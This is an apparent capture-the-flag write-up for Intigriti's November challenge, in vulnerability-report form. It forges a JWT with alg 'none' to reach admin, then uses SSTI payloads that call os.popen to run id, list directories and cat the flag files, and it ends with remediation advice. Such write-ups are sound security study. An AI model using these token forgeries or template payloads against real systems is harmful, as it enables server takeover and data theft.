Challenge 1125
Intigriti's November Challenge
JWT Authentication Bypass Leading to SSTI & RCE
Description
A critical security vulnerability has been identified that allows attackers to completely compromise the application. The issue begins with a broken authentication system where attackers can register regular accounts and then easily modify their login tokens to gain administrative privileges. Once they have admin access, they can exploit a Server-Side Template Injection (code injection) vulnerability in the admin panel that lets them execute arbitrary commands directly on the server. This attack chain enables complete system takeover, allowing attackers to steal all data, modify or delete information, and gain full control over the server environment. The severity is critical and requires immediate attention to prevent potential data breaches and system compromise.
Vulnerability Details
1. JWT Authentication Bypass (CWE-347: Improper Verification of Cryptographic Signature)
Location: GET /dashboard
Description:
The application uses JWT tokens for authentication but fails to properly verify token signatures. Attackers can modify token claims including user roles by changing the algorithm to "none" and removing signature verification.
Attack Flow:
Register a low-privilege account
Capture JWT token after login
Modify algorithm from "HS256" to "none"
Change
roleclaim from "user" to "admin"Change
idclaim to administrative user ID which equal to “1”Access admin functionality without valid signature
Observation:


# Original token (decoded):
Header: {"alg": "HS256", "typ": "JWT"}
Body: { "user_id": 58,"username": "whymir","role": "user","exp": 1763672046 }
# Modified token (decoded):
Header: {"alg": "none", "typ": "JWT"}
Body: { "user_id": 1,"username": "whymir","role": "admin","exp": 1763672046 }
2. Server-Side Template Injection (CWE-94: Improper Control of Generation of Code)
Location: POST /admin/profile — display_name parameter
Description:
The admin profile page contains a Server-Side Template Injection vulnerability in the display name field. Authenticated attackers can execute arbitrary Python code through template injection.
Observation:
Step 1: Basic SSTI Detection
Using common SSTI detection {{7*7}}

|| Response: Preference saved with value "49" confirming SSTI ||
Step 2: Command Execution (RCE)

|| Response: Contains command output: uid=999(appuser) gid=999(appuser) groups=999(appuser)||
PoC
The attack begins with simple account registration. Using the endpoint https://$HOST/register, it created a low-privilege user account with credentials whymir:whymir123. After successful registration, it will redirect to https://$HOST/dashboard, the application issued a JWT token for session management.

The critical vulnerability was identified in the token verification process. By modifying the algorithm from "HS256" to "none" and changing the role and id, the application accepted the manipulated token without validation. The modified token became:
Header: {"alg": "none", "typ": "JWT"}
Body: { "user_id": 1,"username": "whymir","role": "admin","exp": 1763672046 }This simple manipulation instantly escalated privileges from regular user to administrative access without any detection or resistance from the system.

With the forged admin token, accessing https://$HOST/dashboard revealed the full administrative interface. The system now recognized the session as having administrator privileges, providing access to sensitive functionality including admin panel at https://$HOST/admin/.

The admin profile page (/admin/profile) contained a "display name" field that was vulnerable to Server-Side Template Injection (SSTI). Testing began with basic payloads:
Payload: {{7*7}}
Result: Preference saved, displaying "49" instead of the literal string
Finding: Confirmed active template engine executionThe template injection vulnerability allowed direct Python code execution through the template engine context:
Payload: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Result: uid=999(appuser) gid=999(appuser) groups=999(appuser)This confirmed full command execution on the underlying server. Subsequent exploitation validated complete control and successfully retrieved the flag.
## Listing Directory
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('ls -la').read() }}
## Listing Aquacommerce Directory
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('ls -la .aquacommerce/*').read() }}
## Retrieve flag
{{ self.__init__.__globals__.__builtins__ .__import__('os').popen('cat .aquacommerce/*').read() }}

Risk
This vulnerability enables unauthenticated remote command execution via JWT bypass and SSTI injection with trivial, low-effort payloads. Likelihood of exploitation: high.
Technical Impact: Full web server compromise through authentication bypass, privilege escalation to admin, and remote code execution. Complete disclosure of secrets (JWT keys, database credentials, env vars), service disruption, and potential lateral movement.
Business Consequences: Total data breach of user accounts, regulatory exposure (GDPR/CCPA), service outage, and severe reputational damage from complete platform compromise.
Remediation
Enforce strict JWT signature validation and reject tokens using the
nonealgorithm.Sanitize user input and prevent template execution in any user-provided field.
Implement server-side checks for authorization rather than relying solely on client-provided JWT fields.
Reference
Last updated